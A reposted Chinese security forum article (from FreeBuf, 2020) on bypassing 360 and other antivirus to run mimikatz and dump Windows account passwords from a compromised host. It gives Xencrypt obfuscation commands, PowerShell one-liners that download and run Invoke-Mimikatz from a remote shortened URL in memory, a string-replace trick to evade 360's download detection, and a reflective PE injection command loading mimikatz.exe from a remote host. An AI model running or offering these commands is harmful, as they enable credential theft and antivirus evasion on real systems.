搜索

[15288] 2020-04-23_实战中如何绕过杀软用mimikatz获取账号密码

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-04-23_实战中如何绕过杀软用mimikatz获取账号密码 实 战 中 如 何 绕 过 杀 软 用 m i m i k a t z 获 取 账 号 密 码 原 创   可 爱 又 迷 人 的 反 派   F r e e B u f   2 0 2 0 - 0 4 - 2 3 目 标 机 目 标 机 s y s t e m 权 限 ， 安 装 了 权 限 ， 安 装 了 3 6 0 ， 准 备 获 取 密 码 。 ， 准 备 获 取 密 码 。 m i m i k a t z 的 e x e , p o w e r s h e l l 版 （ 可 上 g i t h u b 下 载 ） 网 上 版 本 已 经 被 3 6 0 已 及 各 种 杀 软 杀 的 死 死 的 ， 扔 上 去 就 挂 所 以 采 用 混 淆 加 密 方 式 来 绕 过 杀 软 ， 混 淆 脚 本 地 址 如 下 h t t p s : / / g i t h u b . c o m / t h e - x e n t r o p y / x e n c r y p t 使 用 A E S 加 密 和 G z i p   /   D E F L A T E 压 缩 ， 每 次 调 用 都 会 生 成 一 个 唯 一 但 是 功 能 相 同 的 脚 本 。 它 通 过 压 缩 和 加 密 输 入 脚 本 并 将 此 数 据 作 为 有 效 载 荷 存 储 在 新 脚 本 中 来 实 现 免 杀 ， 输 出 脚 本 将 在 运 行 有 效 载 荷 之 前 对 其 进 行 解 密 和 解 压 缩 。 使 用 方 法 使 用 方 法 I m p o r t - M o d u l e   . / x e n c r y p t . p s 1 I n v o k e - X e n c r y p t   - I n F i l e   i n v o k e - m i m i k a t z . p s 1 - O u t F i l e   x e n m i m i . p s 1 还 可 以 通 过 - I t e r a t i o n s 标 志 支 持 递 归 分 层 。 I n v o k e - X e n c r y p t   - I n F i l e   i n v o k e - m i m i k a t z . p s 1 - O u t F i l e   x e n m i m i . p s 1   - I t e r a t i o n s   1 0 0 可 过 3 6 0 等 大 部 分 杀 软 ， 但 卡 巴 斯 基 被 杀 ， 已 经 可 以 达 成 目 标 了 。 在 w i n 1 0 运 行 ， 成 功 获 取 账 号 密 码 ：
扔 到 W i n 7 上 试 试 ， 出 现 报 错 因 为 w i n 7 p o w e r s h e l l 版 本 为 2 . 0 混 淆 脚 本 采 用 A E S 加 密 和 G z i p   /   D E F L A T E 压 缩 ， 含 有 p o w e r s h e l l 2 . 0 版 本 不 支 持 调 用 的 方 法 。 难 搞 哦 。 要 想 办 法 过 w 7 + 3 6 0 ， 可 采 用 p o w e r s h e l l 方 式 绕 过 可 在 可 在 c m d 下 执 行 下 执 行 因 目 标 安 装 3 6 0 ， 未 混 淆 文 件 传 上 去 就 会 被 杀 并 弹 窗 ， 所 以 采 用 远 程 加 载 方 法 绕 过 ， 远 程 加 载 方 法 会 在 内 存 中 运 行 m i m i k a t z , 无 文 件 落 地 由 此 来 绕 过 杀 软 被 3 6 0 判 断 为 P o w e r S h e l l 下 载 攻 击 并 弹 窗 ， 3 6 0 针 对 p o w e r s h e l l 的 h t t p 协 议 下 载 查 杀 ， 但 是 检 查 内 容 只 是 命 令 中 出 现 h t t p , 所 以 只 需 要 一 步 简 单 的 替 换 即 可 绕 过 ( ‘ h t x t p : / / i s . g d / o e o F u I ’   - r e p l a c e   ‘ x ’ , ’ ’ ) （ 这 里 有 个 坑 。 3 6 0 这 个 z z ， 在 判 断 P o w e r S h e l l 下 载 攻 击 后 ， 接 下 来 一 段 时 间 会 直 接 对 p o w e r s h e l l 拒 绝 访 问 ， 实 战 直 接 执 行 下 面 的 命 令 ） p o w e r s h e l l   - e x e c   b y p a s s   " i m p o r t - m o d u l e . I n v o k e - M i m i k a t z . p s 1 ; I n v o k e - M i m i k a t z p o w e r s h e l l   " I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / i s . g d / o e o F u I ' ) ;   I n v o k e - M i m i k a t z - D u m p C r e d s " p o w e r s h e l l   " I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ( ' h t x t p : / / i s . g d / o e o F u I '   - r e p l a c e   ' x ' , ' ' ) ) ; I n v o k e - M i m i k a t z   - D u m p C r e d s "
即 可 绕 过 3 6 0 获 取 目 标 账 号 密 码 。 既 然 可 以 远 程 加 载 p o w e r s h e l l 绕 过 杀 软 ， 那 远 程 加 载 e x e 也 同 样 可 以 ， p o w e r s h e l l 加 载 e x e 进 内 存 运 行 需 要 P o w e r S p l o i t 中 的 I n v o k e - R e f l e c t i v e P E I n j e c t i o n 脚 本 ， 地 址 如 下 h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / c l y m b 3 r / P o w e r S h e l l / m a s t e r / I n v o k e - R e f l e c t i v e P E I n j e c t i o n / I n v o k e - R e f l e c t i v e P E I n j e c t i o n . p s 1 我 们 远 程 加 载 I n v o k e - R e f l e c t i v e P E I n j e c t i o n 再 远 程 加 载 调 用 m i m i k a t z . e x e 进 内 存 以 无 文 件 落 地 方 式 绕 过 杀 软 读 取 账 号 密 码 （ 绕 过 P o w e r S h e l l 下 载 攻 击 弹 窗 方 式 同 上 ） ， 命 令 如 下 - P E U r l   ： 包 含 要 加 载 和 执 行 的 D L L   /   E X E 的 U R L - E x e A r g s   ： 所 要 执 行 命 令 即 可 越 过 3 6 0 成 功 获 取 账 号 密 码 。 * 本 文 作 者 ： 可 爱 又 迷 人 的 反 派 角 色 ， 转 载 请 注 明 来 自 本 文 作 者 ： 可 爱 又 迷 人 的 反 派 角 色 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 p o w e r s h e l l . e x e   - e x e c   b y p a s s   I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ( ' h t x t p : / / s u o . i m / 5 F A j a C '   - r e p l a c e ' x ' , ' ' ) ) ; I n v o k e - R e f l e c t i v e P E I n j e c t i o n   - P E U r l h t t p : / / x . x . x . x / m i m i k a t z . e x e - E x e A r g s
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理